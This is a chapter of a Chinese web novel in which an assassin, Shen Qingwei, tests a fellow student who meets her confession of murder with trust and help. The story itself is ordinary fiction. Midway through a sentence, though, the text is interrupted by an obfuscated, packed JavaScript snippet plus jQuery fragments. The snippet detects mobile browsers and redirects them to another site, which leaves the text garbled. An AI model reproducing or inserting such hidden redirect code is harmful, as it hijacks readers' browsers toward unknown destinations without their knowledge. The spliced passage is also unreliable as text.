沈晴微垂眸,许羽烟那样高傲的人,应该是不屑于说谎的。而且,她经历了这么多,必然是与一般人不同的。
沈晴微不动声色地压低声音:“或许是因为,惺惺相惜?”
又或许,是因为她喜欢许羽烟那副天不怕地不怕、不屑与世人为伍的孤傲姿态。
许羽烟疑惑地看着她,忽然扯出一个笑:“我发誓!今日所见之事我不会告诉任何人!”
转而又蹙起眉头:“不过……云然,你没把孙照陵怎么样吧?”
她是担心自己还是担心孙照陵?
沈晴微淡淡道:“我把他杀了。”
“杀……杀了?!”许羽烟被震惊得几乎要跳起来,声音都变得尖锐。意识到自己的失态,她连忙捂住自己的嘴,若有所思地发愣。
沈晴微看着她一眨一眨的眼睛——为什么她只是震惊?
试想一想,看上去温温和和的同窗,实则是为了一己之私不择手段的、双手沾满鲜血的刽子手,是个正常人都会害怕得落荒而逃,或者谴责吧?
沈晴微不信邪,她好好奇许羽烟究竟是怎么想的。
于是,她“故意使坏”:“是啊,杀了。你知道的,我是一个杀手。而且,我是一个心狠手辣、心思歹毒的人,宁可错杀三千,也绝不放过一个。你不怕吗?”
沈晴微眯起眼,阴森森地说,像是一条在暗中窥视猎物的毒蛇吐着信子……
许羽烟没有她意料中的那般畏惧,反而是反常地牵起她的手:“云然,你是有苦衷的,对不对?我相信你。”
沈晴微就呆呆地看着她掏出她的荷包:“我只带了这些钱,你先拿着。趁着事情还没闹大,你先去避一避风头。”
?
沈晴微瞪大了眼睛——这是……让她畏罪潜逃?
见惯了大场面的她,却是没见过这样的场景,一时间语塞。
在沈晴微疑惑的眼神追问下,许羽烟解释:“我知道,你为霄定阁做事。你一定有不得已的苦衷与难处,才会走上这条路。杀孙照陵一定不是你心中本意,但是他毕竟是镇国公府的世子,身份尊贵,是整个孙家的宝贝。
“此事事关重大,孙家一定不会轻易放过真凶。背后给你下命令的人一定也会有破绽,你先去避避风头,等危机解除了,你再回来,好不好?我会告诉她们,你是突发重疾,下山养病。”
沈晴微从未想过,有朝一日,有一个明明没那么熟的人会对她说这样的话,有人会相信她有苦衷,有人会明白她的无奈,有人会替她谋划好后路。
看着许羽烟认真的神色,沈晴微心里不是滋味。
她就像是一个恶毒的疑心病犯,试探着一个真心对她的人。
真是恶劣。
“许羽烟,你为什么相信我?”
许羽烟低下头:“说来你可能不信,初见你时,我变觉得投缘。那时我与孟菱笙吵架,她身边跟了一群麻雀,你什么话都没说,只是冷眼看热闹。那时候,我就对你感兴趣了。
“再后来,我意外得知你为霄定阁做事,便打心眼里钦佩你——虽为女子,却用手中之剑,闯出一条不一样的路,与命运叫嚣、抗争……”
许羽烟在初见云然时,便被她那双作壁上观的平静睿智的眼睛吸引了。
云然是那样特别,站在人海的边缘,却是一眼就能让人瞧见,正如鹤立鸡群。那双仿佛宠辱不惊的眸子,从容、镇定,透露出沈晴微的强者气质。许羽烟喜欢强大的人。
但这话,她没有告诉云然。有些话说出口难免词不达意,反而弄巧成拙,让她误会自己在刻意逢迎就不好了。
她也没有再提前两天云然在街上救她的事。
有些美好,藏在心里就好。话说太多,即便真心,也显得虚假。
“谢谢你信任我。”
沈晴微不动声色地收起手上的毒药,面对许羽烟露出一个灿烂的笑。
“不过很可惜,许姑娘,你信错人了。我没有什么苦衷。我这个人,一向不是什么好东西。我杀孙照陵的原因无他,只是因为他知道了我的一个秘密,会阻碍到我以后的路。
“我无依无靠能活到今日,你当真觉得,我是什么好人吗?”
沈晴微抽出匕首,若有所思地把玩手中的匕首,时不时还拿到许羽烟眼前晃悠一下:“许姑娘,我本来是想杀你灭口的。但是现在,我改变主意了。你这样单纯又缺心眼的人,根本不值得我出手。只要你乖乖闭嘴,今日之事,我可以当做没发生。”
许羽烟看着沈晴微手上忽远忽近的匕首,脸上的笑容逐渐凝固。
她害怕了?沈晴微松了一口气。害怕,就不要和自己有牵扯了。
没想到,许羽烟的右手直直地向匕首冲去。
眼看着那双修长的手就要碰到她手中的刀刃,沈晴微赶忙把刀刃对向自己,另一只手将匕首夺走放回刀鞘中。
“你干什么?”沈晴微一时着急,声音都比往常重些。
许羽烟刚才,分明是想要握住她手中的匕首。刀刃那么锋利,她是想找死吗?
她还是用的右手。
沈晴微从前也心血来潮画过一段时间的画,不过知道自己实在不是这块料子,所以没多久就放弃了。
许羽烟不一样。
她是万众瞩目的天才画师,于作画一事上天赋异凛。
天赋何其难求?她的右手,岂是能伤到一分一毫的?
就算许羽烟已经不作画很久了,可她也不能这么不在乎自己的手啊?万一哪一天,她又想画了呢?
“许姑娘,天赋不是用来这么糟蹋的。”
沈晴微轻轻地抓起她的手,仔仔细细地检查了一遍,确认没有伤口后才假装什么都没发生一样,松开了自己的手。
“哼,天赋……”许羽烟喃喃自语,她嘴上分明在笑,可是眼底却是染着泪花。
“我早就是个废人了。”许羽烟死死地盯着自己右手掌心的掌纹,眼底的凉意却那样明显,就像是一朵凋零在春日午后的花,平淡地诉说着自己的无力。
沈晴微对许羽烟的往事略有耳闻。
她知道,这位旁人口中的百年难遇的作画奇才已经很久没有再提笔作画了。
不仅将自己的画烧得一干二净,而且此后性情变得暴躁,不容许任何人在她面前提起画。
旁人都觉得唏嘘。一身天赋就此殒殁,怪浪费的。
“许姑娘,世上还有许许多多事,还有许许多多人。不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382421|165639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
继续走下去,又怎知没有一条柳暗花明的坦途?”
许羽烟很聪明,即便不作画,她也可以找到另一条路寄余生。
或是看遍山川河海,或是收集花草,她曾经为了作画而看风景,此后未尝不可以以眼睛代替双手。
许羽烟听了她的话,明显顿了顿。
她猜云然听出来了。从小以来,所有人都告诉她,她要画画,不要辱没一身天赋。但是眼前之人却告诉她,她还可以走另一条路——一条柳暗花明的路。
她果然是个很不寻常的人呢。
而且……她刚才看得清楚,她的手即将碰到刀刃时,云然着急的眼神是演不出来的。
“我有一件事情想不明白。云然,你为什么要口是心非,把自己说得那么坏呢?”
许羽烟打心底里觉得,沈晴微不是这么坏的人。
但她却竖起一身的刺来伪装,既封闭自己,也不让他人靠近。
沈晴微将视线从她手上移开:“我听不懂你在说什么。许姑娘,时候不早了,我先走了。”
临走之前,沈晴微忽然又加了一句:“孙照陵他没死,我还没蠢到把自己放在火架子上烤。”
许羽烟看着她的背影,只觉得右手的余温那样让人眷恋。十指连心,这份温度,渗进了血液中,流淌到心间。
*
一个月的时间过得很快。这个月在山上,许羽烟时常来找沈晴微,总是带来一些吃的玩的,亲手送到她手上没说几句话又跑走了。
沈晴微一开始以为她是因为害怕才躲着自己,可这一回送完东西,没过几天她又出现在她的面前,又送上一些新奇的小玩意儿……整整一个月,沈晴微单独见她不下十次。
此外,因为阿姐的缘故,孙照陵对她也带着几分刻意讨好,暗戳戳地想要打听她的喜好。结果却发现,离澈山上,没有一个人和她算得上熟。
所以,这位看似纨绔的世子就索性直接常常出现在她眼前刷存在感——偏偏还表现得不动声色。
比如,某日下课途径池塘。
不知谁出口夸来一句荷花开得正好。
这位孙照陵孙世子看到她路过,装模作样地来了一句:“还是池边的那枝蜀葵花开得好哇!你瞧,太阳底下多耀眼!”
这话孙照陵是对他身旁的那位公子说的,可他的眼神若有若无地往沈晴微那边瞟,好像再说,你看,我与阿汀连喜欢的花都是一样的。
阿姐最喜欢蜀葵。
沈晴微往池边的三两株蜀葵花望去,却对上了周临言的目光。
他不知是何时出现的,站在蜀葵花旁,若有所思地瞧着开得正艳的花儿。
他抬眸时,正对上沈晴微的眼睛。
明眸皓齿,他人比花娇。
但沈晴微并未被美色迷了心窍,反而觉得这身美人皮背后定藏着不浅的杀心。
两人之间隔着十余人,对视一眼,都急匆匆地移开了视线,仿佛什么都没有发生。
沈晴微本来觉得没什么,他们只是毫不相干的陌路人罢了。可是看到他那双眼睛时,看到这双眼中的寒光时,她竟然莫名其妙觉得心虚?
荒唐。
一定是日头太毒,晒得人心神不宁罢了。